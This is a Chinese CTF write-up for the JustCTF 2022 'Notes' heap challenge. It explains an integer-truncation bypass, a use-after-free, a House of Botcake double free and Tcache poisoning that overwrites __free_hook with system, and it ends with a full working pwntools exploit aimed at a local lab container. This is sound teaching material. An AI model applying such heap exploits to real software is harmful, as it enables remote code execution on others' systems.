news 2026/1/19 17:44:59

2022 JustCTF Notes PWN堆学习 house of batcake

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2022 JustCTF Notes PWN堆学习 house of batcake

House of batcake
必要条件:

  1. 存在UAF漏洞(可读/写已释放的chunk)
  2. 可申请和释放特定大小的chunk
  3. 目标chunk大小需大于0x80(避免fastbin机制干扰)


    比较安全的写入,限制最多只能写10个chunk
    get_int() 函数返回 unsigned __int64 却采用 int 接收,通过传入 -1 我们可以绕过 notes 数量的限制。
n10=get_int();//返回 unsigned __int64 n10_1=n10;//unsigned __int64 n10_2=n10;//int(关键!这里发生截断)



菜单

最多只能分配0x100的chunk

存在UAF
现在配置做题环境
进入题目 docker 目录(里面有 Dockerfile):
构建镜像(tag 随便起,这里用nates):

sudo docker build-t notes.


运行容器,把容器 9999 映射到本机 10001(按题目改端口):

sudo docker run-d--name notes-p10001:9999notes


启动 pwn-env 容器进行分析/调试/写 exp

sudo docker run--rm-it \-v"$PWD":/work-w/work \--cap-add=SYS_PTRACE--security-opt seccomp=unconfined \--network host \ th3s/pwn-env:ubuntu-20.04bash


全保护

根据程序写出自动化脚本

frompwnimport*p=process('./notes')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')elf=ELF('./notes')defdebug():gdb.attach(p)pause()p.sendlineafter(b'How many notes you plan to use? (0-10): ',b'-1')defadd(size,content):p.sendlineafter(b'> ',b'1')p.sendlineafter(b'size: ',str(size))p.sendlineafter(b'content: ',content)defdelete(index):p.sendlineafter(b'> ',b'2')p.sendlineafter(b'note id: ',str(index))defshow(index):p.sendlineafter(b'> ',b'3')p.sendlineafter(b'note id: ',str(index))

先add一个看看
注意:在docker中gdb.attach(p)不能开启一个窗口要使用tmux来

在这个右边窗口输入quit就可以退出去
好的继续
思路是

  1. 传入 -1 绕过堆块数量限制
  2. House of botcake 完成 Tcache Poisoning
  3. 劫持 __free_hook 为 system , getshell
    我们先把tcache 0x90填满方便后续leak出unsorted bin 来获得libcbase
foriinrange(10):add(0x80,b'a')foriinrange(7):delete(7-i-1)


这里看到已经填满了,这时候我们再delete()一个释放到unsoredbin
这里不能直接delete(6)来利用uaf是因为
当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

delete(8)#victim

free 掉利用堆块 victim,由于此时 Tcache 被填满,victim 进入 Unsortedbin(绕过了 key 的产生)

可以看到去了unsoredbin

现在show()接收一下这个

show(8)leak=u64(p.recvuntil('\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))


offset=0x1ecbe0libc_base=leak-offset log.info('libc_base:'+hex(libc_base))

binsh_addr=libc_base+next(libc.search('/bin/sh'))system=libc_base+libc.symbols['system']log.info('system:'+hex(system))log.info('binsh_addr:'+hex(binsh_addr))


下一步进行Double Free into Tcache

delete(7)#prev

delete(7)前

unsortbin:0x555555559710(size:0x90)tcache_entry[7](7):0x555555559240-->...# 0x90大小的tcache有7个chunk

delete(7)后

unsortbin:0x555555559680(size:0x120)tcache_entry[7](7):0x555555559240-->...# 0x90大小的tcache仍有7个chunk

当执行 dele(7) 时:

  1. chunk 7 被释放
  2. 由于 chunk 7 和 chunk 8 在内存中相邻且都空闲
  3. glibc 的堆管理器将它们合并成一个更大的空闲 chunk
  4. 合并后的 chunk 大小为 0x120(0x90 + 0x90)
    tcache 有严格的 double free 检查:
//glibc2.31的 tcache 检查if(tcache->entries[tc_idx]==e)//检查是否与链顶相同 malloc_printerr("free(): double free detected in tcache 2");

通过 dele(7):

  • chunk8 原本在 unsorted bin
  • 合并后,“chunk8” 在 glibc 看来不存在了(它只是大chunk的一部分)
  • 后续 dele(8) 时,tcache 认为这是新的释放,不是 double free

    申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。
add(0x80,b'b')#10 tcache 6


然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free

delete(8)#double free


可以看到这时候已经造成了堆块重叠即一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针,完成 Tcache Poisoning。
由于前面 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。

free_hook=libc_base+libc.sym['__free_hook']add(0x100,b'a'*0x80+p64(0)+p64(0x91)+p64(free_hook)+p64(0))

初始时 tcache count=7,经过: malloc(0x100)→ count=6free(victim)→ count=7(再次满)

过程分析
第一次 Poisoning 后:

tcache链:victim → target_address → ??? count=7

释放 victim:

free(victim);
  • victim 被释放到 tcache
  • 但由于 tcache 已满(count=7),实际上会发生什么?
  • 在 glibc 2.31+ 中:如果 tcache 已满,chunk 会进入 fastbin/unsorted bin
  • 所以需要先降低 tcache count
add(0x100,b'a'*0x80+p64(0)+p64(0x91)+p64(free_hook)+p64(0))#11


因为现在tcache被堆叠在了unsortedbin里面所以申请出这个地址然后伪造一个0x90大小的tcache将fd指针指向__free_hook,现在去申请

add(0x80,b'/bin/sh\0')#12

这个申请回来的是我们的chunk8 victim

下一个申请的chunk就是从__free_hook这里

这时候delete(12)就可以触发system(‘/bin/sh\0’)

delete(12)

实际执行就是

//实际执行(*__free_hook)(mem)=system(0x555555559730)


连接本地靶机
取得shell
EXP:

frompwnimport*context.terminal=["tmux","splitw","-h"]#p = process('./notes')p=remote('127.0.0.1',10001)#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('./libc-2.31.so')elf=ELF('./notes')defdebug():gdb.attach(p)pause()p.sendlineafter(b'How many notes you plan to use? (0-10): ',b'-1')defadd(size,content):p.sendlineafter(b'> ',b'1')p.sendlineafter(b'size: ',str(size))p.sendlineafter(b'content: ',content)defdelete(index):p.sendlineafter(b'> ',b'2')p.sendlineafter(b'note id: ',str(index))defshow(index):p.sendlineafter(b'> ',b'3')p.sendlineafter(b'note id: ',str(index))foriinrange(10):add(0x80,b'a')foriinrange(7):delete(7-i-1)delete(8)#victimshow(8)leak=u64(p.recvuntil('\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))offset=0x1ecbe0libc_base=leak-offset log.info('libc_base:'+hex(libc_base))binsh_addr=libc_base+next(libc.search('/bin/sh'))system=libc_base+libc.symbols['system']log.info('system:'+hex(system))log.info('binsh_addr:'+hex(binsh_addr))delete(7)#prevadd(0x80,b'b')#10 tcache 6delete(8)#double freefree_hook=libc_base+libc.sym['__free_hook']add(0x100,b'a'*0x80+p64(0)+p64(0x91)+p64(free_hook)+p64(0))#11add(0x80,b'/bin/sh\0')#12add(0x80,p64(system))#13delete(12)#debug()p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/31 4:41:27

2025最新!8个AI论文平台测评:继续教育写论文不再难

2025最新!8个AI论文平台测评:继续教育写论文不再难 2025年AI论文平台测评:助力继续教育高效写作 随着人工智能技术的不断进步,越来越多的学术工作者开始借助AI工具提升论文写作效率。对于继续教育群体而言,时间紧张、专…

作者头像 李华
网站建设 2026/1/12 1:06:45

DNS劫持全解析:原理、危害与防御实战指南

前言 DNS英文全称Domain Name System,中文意思是域名系统,因此DNS劫持又被称为域名劫持,属于网络攻击的一种,其危害性也是不容忽视的。那么什么是DNS劫持?怎么防止DNS劫持攻击?具体请看下文。 什么是DNS劫持? DNS劫持又叫做域名…

作者头像 李华
网站建设 2026/1/17 16:51:10

CentOS Linux 内核参数优化实战指南

CentOS Linux 内核参数优化实战指南 在企业级服务器部署中,尤其是 Web 服务器、数据库服务器、中间件节点或高并发应用环境中,仅安装操作系统远远不够。合理的内核参数调优,是提升系统性能、增强安全性和保障高可用性的关键一步。 本文以 Cen…

作者头像 李华
网站建设 2026/1/14 4:27:28

智能升级新范式:Deepoc开发板如何重新定义扫地机器人的进化路径

当硬件迭代遭遇瓶颈,外接式智能模组正在成为家电进化的新引擎在家电智能化进入深水区的今天,扫地机器人行业面临着一个共性难题:如何让存量设备享受最新AI技术红利?传统的硬件升级路径不仅成本高昂,还造成资源浪费。De…

作者头像 李华
网站建设 2026/1/11 19:08:49

学长亲荐8个AI论文工具,研究生搞定开题报告+格式规范!

学长亲荐8个AI论文工具,研究生搞定开题报告格式规范! AI 工具,正在重塑论文写作的未来 在研究生阶段,论文写作不仅是学术能力的体现,更是时间与精力的双重挑战。随着 AIGC 技术的不断发展,越来越多的 AI 工…

作者头像 李华